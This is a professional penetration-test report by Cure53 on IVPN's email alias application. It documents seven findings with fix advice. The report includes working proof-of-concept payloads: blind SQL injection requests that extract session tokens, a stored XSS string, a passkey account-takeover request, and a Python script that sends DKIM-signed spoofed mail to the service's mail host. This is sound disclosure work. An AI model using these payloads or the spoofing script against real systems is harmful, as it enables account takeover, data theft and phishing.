Fine penetration tests for fine websites

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Pentest-Report IVPN Email App UIs, APIs & Setup 05.2025

Cure53, Dr.-Ing. M. Heiderich, D. Albastroiu, M. Pedhapati, Y. C. Chu

Index

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Introduction

"What you do online can be tracked by organizations you may not know or trust and become part of a permanent record. A VPN can't solve this on its own, but can prevent your ISP from being able to share or sell your data."

From https://www.ivpn.net/en/

This report describes the results of a penetration test and source code audit against the IVPN email application, with a focus on its frontend aspects and UI, as well as its backend components and API endpoints.

To give some context regarding the assignment's origination and composition, IVPN Limited contacted Cure53 in May 2025. The test execution was scheduled for later that month, namely in CW21 / CW22. A total of eight days were invested to reach the coverage expected for this project, and a team of four senior testers was assigned to its preparation, execution, and finalization.

The methodology conformed to a white-box strategy, whereby assistive materials such as sources, URLs, API documentation, test user credentials, as well as all further means of access required to complete the tests were provided to facilitate the undertakings.

The work was split into two separate work packages (WPs), defined as:

- **WP1**: White-box pen.-tests & source code audits against IVPN email app UI
- **WP2**: White-box pen.-tests & source code audits against IVPN email app API

It should be noted that this testing took place in parallel to a second engagement which is recorded in a separate report (see IVP-08). The second engagement covered the connected IVPN DNS application, along with its UI and API.

All preparations for IVP-07 were completed in May 2025, specifically during CW20, to ensure a smooth start for Cure53. Communication throughout the test was conducted through a dedicated and shared Rocketchat channel, established to combine the teams of IVPN and Cure53. All personnel involved from both parties were invited to participate in this channel. Communications were smooth, with few questions requiring clarification, and the scope was well-prepared and clear. No significant roadblocks were encountered during the test. Cure53 provided frequent status updates, shared its findings, and offered live reporting through the aforementioned Rocketchat channel. Live reporting was originally only requested for *Critical* severity findings such as IVP-07-001, but other findings were also live-reported upon later request.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The Cure53 team achieved very good coverage over the scope items, and identified a total of seven findings. Of the seven security-related findings, six were classified as security vulnerabilities, and one was categorized as a general weakness with lower exploitation potential.

Testing uncovered several vulnerabilities within the IVPN Mail application in scope, primarily in input validation and access control. The most significant finding was a blind SQL injection (SQLi) vulnerability which allowed the extraction of sensitive data (such as session tokens) from the underlying DBMS.

Further, pervasive access control weaknesses were found to enable unauthorized account actions and user enumeration, and it is advised that this highlights a need for improved tenant isolation. The application also showed susceptibility to distributed brute-force attacks due to insufficient rate-limiting, as well as an over-reliance on upstream services for email validation, which could facilitate phishing.

While a *Critical* severity vulnerability was identified during testing, the application was generally found to demonstrate a solid security foundation. It is advised that targeted improvements in input validation, parameterized queries, and robust rate-limiting will significantly enhance the overall security of the tested scope.

The report will now shed more light on the scope and testing setup, and will provide a comprehensive breakdown of the available materials. Following this, the report will list all findings identified in chronological order, starting with the *Identified Vulnerabilities* and followed by the *Miscellaneous Issues* unearthed. Each finding will be accompanied by a technical description, Proof-of-Concepts (PoCs) where applicable, and any fix or preventative advice to action.

In summation, the report will finalize with a *Conclusions* chapter in which the Cure53 team will elaborate on the impressions gained toward the general security posture of the frontend and backend components of the IVPN email application.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Scope

- **Pen.-tests & code audits against IVPN email app UIs, APIs & setup**
  - **WP1:** White-box pen.-tests & source code audits against IVPN email app UI
    - **App URL:**
      - *REDACTED*
    - **Shared GitHub URL:**
      - https://github.com/ivpn/email
    - **Commit:**
      - 31b2a73fababb395da62a5739c43c01ede86a397
  - **WP2:** White-box pen.-tests & source code audits against IVPN email app API
    - **API URL:**
      - *REDACTED*
    - **API Documentation:**
      - *REDACTED*
  - **Credentials:**
    - **Test accounts:**
      - U: emailaudit001@maildrop.cc
      - U: emailaudit002@maildrop.cc
      - U: emailaudit003@maildrop.cc
    - **API Credentials**
      - U: api
  - **Test-supporting material was shared with Cure53**
  - **All relevant sources were shared with Cure53**

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Identified Vulnerabilities

The following section lists all vulnerabilities and implementation issues identified during the testing period. Notably, findings are cited in chronological order rather than by degree of impact, with the severity rank offered in brackets following the title heading for each vulnerability. Furthermore, all tickets are given a unique identifier (e.g., IVP-07-001) to facilitate any future follow-up correspondence.

IVP-07-001 WP2: Session disclosure via SQL injection on email aliases *(**Critical**)*

***Fix note**: This issue was fixed during the testing phase. Cure53 verified the fix, confirming that the problem no longer exists.*

The MailX platform provides a section for managing email aliases, allowing users to create, retrieve, and manage aliases associated with their email accounts. When retrieving aliases, the system uses a query to fetch data from the database, which is constructed using user-provided parameters in *ORDER BY*.

Cure53 identified that the alias retrieval process is vulnerable due to the improper handling of user-provided input in the SQL query. The email API constructs a SQL query using parameters such as *sort_by* and *sort_order*, which are then directly concatenated into the SQL statement without proper validation or sanitization. This allows attackers to inject malicious SQL logic into the query, potentially leading to unauthorized data exposure or manipulation.

The vulnerability arises because the *sort_by* parameter is used in the SQL query without being properly sanitized. Attackers can exploit this by injecting conditional SQL statements that manipulate the query logic. For example, an attacker can inject a subquery that performs a conditional check, which can be used to extract sensitive information from the database through error-based or time-based SQLi techniques. The *sort_by* parameter - highlighted in yellow below - contains an SQLi payload with an additional SQL *AND* statement:

Example request of successful payload:

```
GET /v1/aliases?limit=25&page=1&sort_by=created_at+AND+IF(1=1,
(SELECT+1+FROM+information_schema.tables+LIMIT+1),1)&sort_order=DESC
HTTP/1.1
Host: api.REDACTED.net
Cookie: authn=tCXAh8HtbhuOexShKONPAgsTbGkQvSXTdhUgcb7mh3M=
[...]
```

The response to this request indicates that the retrieval of the aliases for the current user was successful:

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Response:

```
HTTP/1.1 200 OK
[...]

{"aliases":[{"id":"b727c7dc-d91a-41d3-9de1-
8689f96ac0d5","created_at":"2025-05-
19T08:03:51.615Z","name":"droll.folder46@irelay.app","enabled":true,"descri
ption":"Test","recipients":"emailaudit001@maildrop.cc","from_name":"cure53"
,"catch_all":false,"stats":
{"forwards":0,"blocks":0,"replies":0,"sends":0}}],"total":1}
```

In order to demonstrate the vulnerability, the request shown above was modified slightly, by modifying the number of rows returned by the second subquery. This resulted in a malformed SQL statement, because the return value of the second subquery was not a single value. However, *gorm* does not return an error for the *Raw* function call unless *rows.Err();* is explicitly checked. For this reason, an empty array is returned, instead of an error response.

Example request showcasing a conditional SQL error:

```
GET /v1/aliases?limit=25&page=1&sort_by=created_at+AND+IF(1=1,
(SELECT+1+FROM+information_schema.tables+LIMIT+2),1)&sort_order=DESC
HTTP/1.1
Host: api.REDACTED.net
Cookie: authn=tCXAh8HtbhuOexShKONPAgsTbGkQvSXTdhUgcb7mh3M=
[...]
```

The response to this request indicates that the retrieval of the aliases for the current user was unsuccessful, due to the subquery returning an incorrect number of rows:

Response:

```
HTTP/1.1 200 OK
[...]

{"aliases":[],"total":1}
```

Additionally, an adversary could achieve data extraction through simple true / false error-based queries, akin to the following:

Data extraction PoC:

```
GET /v1/aliases?
limit=25&page=1&sort_by=created_at+AND+IF((SELECT+1+FROM+sessions+WHERE+tok
en+LIKE+'t%25'+LIMIT+1)=1,
(SELECT+1+FROM+information_schema.tables+LIMIT+2),1)&sort_order=DESC
HTTP/1.1
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The response to this request depends on whether the first subquery - checking for a matching token in the sessions table - returns a result. If it does, then the second subquery will be executed, which will cause an error, and the endpoint will return an empty aliases array. If it does not, then the default value will be returned, and the SQL query will be valid, returning the aliases for the user.

The affected code highlights that the email API constructs the SQL query by directly concatenating user-provided parameters into the query string, bypassing any input validation or sanitization. It is advised that this improper handling of input enables an attacker to manipulate the query logic, exploiting the vulnerability in order to gain unauthorized access to sensitive data.

Affected file:
api/internal/repository/alias.go

Affected code:

```
func (d *Database) GetAliases(ctx context.Context, userID string, limit
int, offset int, sortBy string, sortOrder string, catchAll string)
([]model.Alias, error) {
	if sortBy == "" {
		sortBy = "created_at"
	}
	sortBy = "a." + sortBy

	if sortOrder == "" {
		sortOrder = "DESC"
	}

	if catchAll == "true" {
		catchAll = "AND a.catch_all = true"
	} else if catchAll == "false" {
		catchAll = "AND a.catch_all = false"
	} else {
		catchAll = ""
	}

	aliases := []model.Alias{}
	query := `
		SELECT a.*,
			COALESCE(SUM(CASE WHEN m.type = ? THEN 1 ELSE 0 END),
0) AS forwards,
			COALESCE(SUM(CASE WHEN m.type = ? THEN 1 ELSE 0 END),
0) AS blocks,
			COALESCE(SUM(CASE WHEN m.type = ? THEN 1 ELSE 0 END),
0) AS replies,
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
                    COALESCE(SUM(CASE WHEN m.type = ? THEN 1 ELSE 0 END),
0) AS sends
             FROM aliases a
             LEFT JOIN messages m
             ON a.id = m.alias_id
             WHERE a.user_id = ? AND a.deleted_at IS NULL ` + catchAll + `
             GROUP BY a.id
             ORDER BY ` + sortBy + " " + sortOrder

      [...]
      rows, err := d.Client.Raw(query, model.Forward, model.Block,
model.Reply, model.Send, userID).Rows()
      [...]
}
```

To mitigate this vulnerability, Cure53 advises using prepared statements when constructing SQL queries, or implementing an allow-list for user-provided *sortBy* and *sortOrder* parameters.

IVP-07-002 WP2: Insufficient rate-limiting on recipient OTP verification *(Low)*

***Fix note**: This issue was fixed during the testing phase. Cure53 verified the fix, confirming that the problem no longer exists.*

The MailX platform allows users to register external recipient addresses, and requires a 6-digit verification code that does not begin with the digit *0*, before an address can be used for aliases. The code generation endpoint implements a custom config for the middleware that allows 5 requests every 10 minutes, per source address. The activation endpoint verifies the code and is throttled by the Fiber framework's default limit of 5 requests per minute, per source address.

Cure53 identified that the verification process is vulnerable to distributed brute-force attacks. An attacker with sufficient network resources could overcome the rate-limits by using multiple source addresses. With 1,000 source addresses, an attacker could submit up to 5,000 activation attempts per minute. Under the current implementation, an attacker can brute-force indefinitely, by requesting a new verification code every 15 minutes, which is well within the allowed rate-limits. This allows for approximately 75,000 guesses per valid code period against the possible verification codes. The cumulative probability of guessing the correct code reaches approximately 28% after 1 hour, and surpasses 99% after 14 hours, thereby effectively circumventing the ownership verification mechanism.

The OTP generation endpoint itself presents a secondary concern. Since verification codes remain valid for 15 minutes, while the generation restriction window is only 10 minutes, there is a 5 minute overlap that extends the attack window. Furthermore, this endpoint could be abused in order to trigger numerous verification emails, thereby potentially resulting in additional operational costs for the platform.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

It is advised that this vulnerability highlights a flaw in the rate-limiting implementation. This flaw allows an attacker to bypass the intended security measures by exploiting the limited search space of the verification code and scaling their attack across multiple IP addresses.

Affected file:
api/internal/transport/api/routes.go

Affected code:
```
v1.Post("/recipient/sendotp/:id", limit.New(5, 10*time.Minute),
h.SendRecipientOTP)
v1.Post("/recipient/activate/:id", limiter.New(), h.ActivateRecipient)
```

To mitigate this issue, Cure53 advises using additional rate-limit measures at verification time, in order to protect email addresses that might be under such an attack.

IVP-07-004 WP1: Authenticated stored XSS via recipient email address *(Medium)*

The application allows the management of recipients and aliases, and the dropdown UI utilizes the Preline select component (*@preline/select*). It was found that when creating or editing an alias's recipient email, user inputs are not adequately sanitized. Consequently, emails containing JavaScript payloads can trigger a stored XSS upon rendering.

When adding or editing aliases, the raw email string (which may contain an XSS payload) is written into the DOM by Vue.js as the text content of an *<option>* element. Vue.js writes this value using *textContent*, which escapes any embedded HTML, so the payload is inert while it sits inside the *<option>* element.

When the page loads, *select.autoInit()* instantiates *HSSelect*. The constructor's *build()* method gathers every underlying *<option>* and stores its *textConten*t, which still contains the raw payload characters. Immediately afterwards, *buildToggle()* runs. Because the *<select>* is configured with the *multiple* attribute, the code path enters:

Affected code in the library:
```
if (this.isMultiple) {
  this.toggleTextWrapper.innerHTML = this.value.length
    ? this.stringFromValue()          // ← uses titles from selectOptions
    : this.placeholder;
}
```

The *stringFromValue()* delegates to *stringFromValueBasic(this.selectOptions)*, which joins the unsanitised titles. The resulting string (e.g. *<img/src='x'onerror=prompt(1)>..*) is written directly to the *innerHTML* of *toggleTextWrapper*, which turns the payload into HTML, and triggers XSS.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected library:
@preline/select

Affected files:

- *app/src/components/AliasCreate.vue*
- *app/src/components/AliasEdit.vue*

Steps to reproduce:

1. Create recipient email with XSS payload:

   Example email:
   `"<img/src='x'onerror=prompt(1)>"@maildrop.cc`

2. Verify the recipient email with received OTP.
3. Set it as the default recipient.
4. Navigate to the home page (*Aliases*). The JavaScript payload will be executed.

It is advised that other call paths - such as the dropdown rendering flow - are also affected.

To mitigate this issue, Cure53 advises sanitising recipient email input using a strict allow-list of characters, before storage.

IVP-07-005 WP2: Insufficient rate-limiting in 2FA TOTP verification *(Low)*

***Fix note**: This issue was fixed during the testing phase. Cure53 verified the fix, confirming that the problem no longer exists.*

The MailX platform allows users to add two-factor authentication (2FA) to enhance the security of their accounts. The */v1/login* endpoint is designed to finalize authentication when a valid password and six-digit RFC 6238 token are provided. The endpoint is protected by the Fiber framework's default rate-limiter, which allows up to five requests per minute, per source address. An attacker who already knows the password can exploit this by making multiple attempts across multiple sources, thereby significantly increasing the rate at which potential token values are tested.

Cure53 identified that the authentication process is vulnerable, due to insufficient safeguards against brute-force attacks. The rate-limiter does not account for the limited search space of the time-based one-time password (TOTP) token, given an attacker with sufficient network resources.

With one thousand distinct source addresses, an attacker could submit up to five thousand guesses per minute. Given the 30 second validity window of the TOTP token, this results in approximately 2,500 guesses per window. The probability of a successful guess within a single window is therefore 0.25%. Over the course of one hour, comprising 120 consecutive

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

windows, the cumulative probability of a successful guess increases to approximately 26%. After sixteen hours of sustained attacks, the likelihood of successfully guessing the token becomes over 99%, effectively bypassing the second-factor authentication mechanism.

It is advised that this vulnerability highlights a flaw in the rate-limiting and authentication process, which allows an attacker to bypass the intended security measures by exploiting the limited search space of the TOTP token, and the limitations of the rate-limiter.

Affected file:
api/internal/transport/api/routes.go

Affected code:
```
h.Server.Post("/v1/login", limiter.New(), h.Login)
```

To mitigate this issue, Cure53 advises using additional rate-limit measures at verification time, in order to protect accounts that might be under such an attack.

IVP-07-006 WP2: Lack of ACL check on adding Passkey leads to ATO *(High)*

***Fix note**: This issue was fixed during the testing phase. Cure53 verified the fix, confirming that the problem no longer exists.*

The MailX platform allows users to add a passkey through the */v1/register/add* endpoint, which is intended to later allow users to authenticate via *WebAuthn*. However, the implementation lacks an access control list (ACL) check to ensure that the email address used in the request belongs to the user who is initiating the request. This oversight allows attackers to bypass authentication, and to bind a passkey to a different email account, thereby potentially granting unauthorized access to that account.

The vulnerability arises because the *AddPasskey* handler does not validate that the email address provided in the request matches the email address of the authenticated user. As a result, an attacker can use a different email address to initiate a passkey registration, which will then be associated with that email instead of the original account. This enables the attacker to later log in using the passkey bound to the target email, and to effectively take over the account.

Example request:
```
POST /v1/register/add HTTP/1.1
Host: api.REDACTED.net
Cookie: authn=emailaudit002@maildrop.cc;

{"email":"emailaudit003@maildrop.cc"}
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Response:

```
HTTP/1.1 200 OK

[...]

{"publicKey":{"rp":{"name":"Mailx","id":"REDACTED.net"},"user":
{"name":"emailaudit003@maildrop.cc","displayName":"emailaudit003@maildrop.c
c","id":"Yjg1ZGMyOGMtMGRjNi00YzRhLWIwZTktNjcwNDQ1NTExNTVk"},"challenge":"hN
he3nsyEW-3TD634F75lSDzdLKN2vOJSy-pLp2mGr4","pubKeyCredParams":
[{"type":"public-key","alg":-7},{"type":"public-key","alg":-35},
{"type":"public-key","alg":-36},{"type":"public-key","alg":-257},
{"type":"public-key","alg":-258},{"type":"public-key","alg":-259},
{"type":"public-key","alg":-37},{"type":"public-key","alg":-38},
{"type":"public-key","alg":-39},{"type":"public-key","alg":-
8}],"timeout":300000,"authenticatorSelection":{}}}
```

Next, the attacker would complete the passkey registration in the browser. The passkey would be bound to the provided email account, instead of the account that initiated the request. The login request would then use that passkey when authenticating the target user, granting the attacker access to the target account.

Affected file:
api/internal/transport/api/webauthn.go

Affected code:

```
func (h *Handler) AddPasskey(c *fiber.Ctx) error {
	// Parse the request
	req := EmailReq{}
	err := c.BodyParser(&req)
	if err != nil {
		return c.Status(400).JSON(fiber.Map{
			"error": ErrInvalidRequest,
		})
	}

	// Validate the request
	err = h.Validator.Struct(req)
	if err != nil {
		return c.Status(400).JSON(fiber.Map{
			"error": ErrInvalidRequest,
		})
	}

	// Get user
	user, err := h.Service.GetUserByEmail(c.Context(), req.Email)
	if err != nil {
		return c.Status(400).JSON(fiber.Map{
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
                "error": err.Error(),
        })
    }

    // No check made for user.ID == auth.GetUserID(c)

    // Begin registration
    options, sessionData, err := h.WebAuthn.BeginRegistration(user)
    if err != nil {
        return c.Status(400).JSON(fiber.Map{
            "error": err.Error(),
        })
    }

    // Save the session
    token, err := model.GenSessionToken()
    if err != nil {
        return c.Status(400).JSON(fiber.Map{
            "error": ErrSaveSession,
        })
    }
    err = h.Service.SaveSession(c.Context(), *sessionData, token,
user.ID)
    if err != nil {
        return c.Status(400).JSON(fiber.Map{
            "error": ErrSaveSession,
        })
    }

    // Set token in cookie
    c.Cookie(auth.NewCookieTempAuthn(token, c.Path(), h.Cfg))

    return c.Status(200).JSON(options)
}
```

To mitigate this issue, Cure53 advises implementing additional checks to ensure that the use of an email address is authorized, or retrieving the current email address of the user performing the action.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

IVP-07-007 WP2: Email spoofing via forged *From* header *(High)*

The mail server accepts emails based on mail *From* header verification (SPF / DKIM / DMARC). If the mail *From* header matches, then the mail server forwards the email body via cURL to the backend, which then parses the unverified *From* header. It is advised that this allows sender identity spoofing.

Affected file:
api/internal/model/msg.go

Affected code:

```
func ParseMsg(data []byte) (Msg, error) {
	msg, err := mail.ReadMessage(bytes.NewReader(data))
	...
	from, err := mail.ParseAddress(msg.Header.Get("From"))
	...
	return Msg{
		From:     from.Address,
		FromName: from.Name,
		To:       to,
		Subject:  subject,
		Body:     body,
		Type:     msgType,
	}, nil
}
```

The steps below illustrate a potential attack vector:

Steps to reproduce:

1. Create an alias - e.g., hasty.paper03@irelay.app → victim@gmail.com.
2. Generate a 2048-bit DKIM key pair:

   Shell excerpt:
   ```
   openssl genrsa -out dkim_private.pem 2048
   ```

3. Extract public key:

   Shell excerpt:
   ```
   openssl rsa -in dkim_private.pem -pubout -outform PEM | tail -n +2 |
   head -n -1 | tr -d '\n' > dkim_pub.txt
   ```

4. Add DNS records for attacker domain, e.g., *attacker.invalid*:

   Added DNS record:
   ```
   attacker.invalid. TXT "v=spf1 ip4:<IP> -all"
   _dmarc.attacker.invalid. TXT "v=DMARC1; p=none"
   ```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

```
default._domainkey.attacker.invalid. 3600 IN TXT "v=DKIM1; k=rsa;
p=<public_key>"
```

5. Send spoofed email via SMTP from *attacker.invalid*:

Sample mail client:

```
import socket, time, email.utils, dkim

host, port = "mail.irelay.app", 25
from_addr  = "sender@attacker.invalid"
to_addr    = "hasty.paper03@irelay.app"

body = (
"This is a plain-text test email sent via raw SMTP.\r\n"
"Regards,\r\n"
"Tester\r\n"
)
hdrs = [
("Date", email.utils.formatdate(localtime=True)),
("Message-ID", f"<{int(time.time())}@attacker.invalid>"),
("From", "sender@irelay.app"),
("To", to_addr),
("Subject", "Test message"),
("MIME-Version", "1.0"),
("Content-Type", "text/plain; charset=utf-8"),
]
hdr_bytes = ("\r\n".join(f"{k}: {v}" for k, v in hdrs) + "\r\
n").encode()
msg_bytes = hdr_bytes + b"\r\n" + body.encode()

priv_key = open("dkim_private.pem", "rb").read()
dkim_sig = dkim.sign(
message      = msg_bytes,
selector     = b"default",
domain       = b"attacker.invalid",
privkey      = priv_key,
canonicalize = (b"relaxed", b"relaxed"),
include_headers=[b"from", b"to", b"subject", b"date"],
)
full_msg = dkim_sig + msg_bytes

with socket.create_connection((host, port)) as s:
s.sendall(b"EHLO attacker.invalid\r\n")
s.sendall(f"MAIL FROM:<{from_addr}>\r\n".encode())
s.sendall(f"RCPT TO:<{to_addr}>\r\n".encode())
s.sendall(b"DATA\r\n")
s.sendall(full_msg + b"\r\n.\r\n")
s.sendall(b"QUIT\r\n")
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

6. Victim receives spoofed email:

   Received email:

   ```
   From: hasty.paper03+sender@irelay.app@irelay.app
   To: victim@gmail.com
   Subject: Test message
   [...]

   This email was sent to hasty.paper03@irelay.app from
   sender@irelay.app

   This is a plain-text test email sent via raw SMTP.
   Regards,
   Tester
   ```

To mitigate this issue, Cure53 recommends performing an additional check on headers such as the DKIM signature, in order to verify sender authenticity.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Miscellaneous Issues

This section covers any and all noteworthy findings that did not incur an exploit but may assist an attacker in successfully achieving malicious objectives in the future. Most of these results are vulnerable code snippets that did not provide an easy method by which to be called. Conclusively, while a vulnerability is present, an exploit may not always be possible.

IVP-07-003 WP2: Lack of ACL check on recipient email count *(Info)*

The MailX platform provides a recipient management functionality that allows users to add email addresses as recipients for their aliases. This system is designed to prevent duplicate entries within a user's account, by checking if a recipient email already exists before adding it.

Cure53 identified that the recipient verification process is vulnerable due to improper tenant isolation in the database query. The email API performs a global check across all users when verifying new recipients, rather than limiting the check to the current user's account. It is advised that this design flaw allows authenticated attackers to determine whether email addresses belong to other users in the system, and to potentially block legitimate users from registering their preferred email addresses.

The vulnerability arises because the database query performs a global count across all tenants, rather than filtering by the requesting user's ID. This implementation allows attackers to verify whether specific email addresses are registered in the system, by attempting to add them as recipients and observing the error responses. Additionally, attackers can register email addresses belonging to other users under their own account, thereby preventing those users from adding the addresses to their own accounts.

Although the system automatically deletes unverified recipients after 7 days, this does not effectively mitigate the issue, as attackers can simply re-add the targeted email addresses after the deletion period.

Example of user enumeration:

```
POST /v1/recipient HTTP/1.1
Host: api.REDACTED.net
Cookie: authn=example@cure53.de

[...]

{"email":"user@cure53.de"}
```

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The response indicates whether the email exists in the system:

```
HTTP/1.1 400 Bad Request

[...]

{"error":"email already exists"}
```

Example of preventing legitimate use::

```
POST /v1/recipient HTTP/1.1
Host: api.REDACTED.net
Cookie: authn=example@cure53.de

[...]

{"email":"user@cure53.de"}
```

Response:

```
HTTP/1.1 201 Created

[...]

{"message":"Recipient added successfully."}
```

Legitimate user tries to add the same email as a recipient:

```
POST /v1/recipient HTTP/1.1
Host: api.REDACTED.net
Cookie: authn=user@cure53.de

[...]

{"email":"user@cure53.de"}
```

Response:

```
HTTP/1.1 400 Bad Request

[...]

{"error":"email already exists"}
```

The root cause of this issue lies in the database query that checks for existing recipients. This query does not include a filter for the user's tenant, which results in checks that span across all of the user accounts in the system.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Affected file:
api/internal/repository/recipient.go

Affected code:

```
func (d *Database) GetRecipientsCountByEmail(ctx context.Context, email
string) (int, error) {
	var count int64
	err := d.Client.Model(&model.Recipient{}).Where("email = ?", 
email).Count(&count).Error
	return int(count), err
}
```

To mitigate this issue, Cure53 advises implementing per-user recipient uniqueness checks, rather than global verification. This will both prevent information leakage, and ensure that users can add their preferred email addresses without cross-account interference.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

Conclusions

As noted in the *Introduction*, this May 2025 penetration test and source code audit was conducted by Cure53 against the IVPN email application, with a focus on its frontend aspects and UI, as well as its backend components and API endpoints.

From a contextual perspective, eight working days were allocated to reach the coverage expected for this project. The methodology used conformed to a white-box strategy, and a team of four senior testers was assigned to the project's preparation, execution, and finalization.

During testing, several vulnerabilities were identified within the MailX application. Primarily, these were found to stem from issues in the input validation and access control implementations.

The most significant concern identified was a blind SQLi vulnerability in the alias management functionality, where user-provided sort parameters were directly concatenated into SQL queries without proper validation (IVP-07-001). This allowed attackers to manipulate query logic, and to extract sensitive information from the database through conditional SQL statements. In this case, the data extracted included access tokens and TOTP secrets.

Access control weaknesses were identified across multiple components, particularly affecting user isolation and authorization checks. The passkey registration endpoint was found to lack proper validation to ensure that users could only register passkeys for their own email addresses, thereby allowing attackers to bind passkeys to arbitrary accounts, and potentially to achieve account takeover (IVP-07-006). It is advised that the implementation of stricter authorization validation for sensitive operations would mitigate this risk.

Additionally, it was found that the recipient management system performed global email validation across all users, rather than limiting checks to the current user's account. This enabled user enumeration, and prevented legitimate users from registering their preferred email addresses (IVP-07-003). Based on this issue, Cure53 recommends strengthening tenant isolation boundaries throughout the application.

Rate-limiting implementations showed a vulnerability to distributed brute-force attacks, where attackers use multiple IP addresses to bypass per-source restrictions. It was found that both the 2FA TOTP verification and recipient OTP validation endpoints could be overwhelmed by coordinated attacks across multiple source addresses, as shown in IVP-07-005 and IVP-07-002. The current rate-limiting approach focuses on single-source protection, and it is advised that it does not adequately account for distributed attack scenarios.

Dr.-Ing. Mario Heiderich, Cure53
Wilmersdorfer Str. 106
D 10629 Berlin
cure53.de · mario@cure53.de

The email handling logic was found to rely heavily on the upstream SMTP mail server's spam filtering via SPF / DKIM / DMARC validation, and blindly trusted headers provided by the SMTP server, without additional verification. This created potential desynchronization between validated envelope data and backend-parsed headers, which could lead to forged email addresses and enable phishing attacks (IVP-07-007). It is recommended to implement additional backend validation, in order to ensure consistency between envelope and header information.

The backend was found to demonstrate solid security practices in several areas, including proper cryptographic methods for session token generation, and most access control checks correctly validating user permissions with appropriate user ID filtering. The Go framework utilized has also provided inherent type safety protections against various injection attacks.

The frontend implementation uses modern frameworks such as Vue.js, which provide built-in XSS protections. However, it is advised that careful attention is required when integrating third-party components, as evidenced by a stored XSS vulnerability caused by misuse of the Preline select component (IVP-07-004).

Overall, while a *Critical* severity vulnerability was identified during this engagement, the application was still found to demonstrate a solid foundation, with evidence of security awareness and proper implementation in many components. Further, the identified weaknesses were found to be concentrated in specific areas, rather than representing systemic failures.

It is recommended either to implement parameterized queries for all database interactions, or to employ allow-lists for user-provided parameters. Further, it is advised that access control validation should be strengthened for sensitive operations, and that enhancing rate-limiting strategies to account for distributed attack scenarios would help to mitigate potential brute-force attacks. These targeted improvements would significantly strengthen the application’s overall security posture, while building on its existing security foundation.

Cure53 would like to thank Juraj Hilje and Maciej Tomczuk from the IVPN Limited team for their excellent project coordination, support and assistance, both before and during this assignment.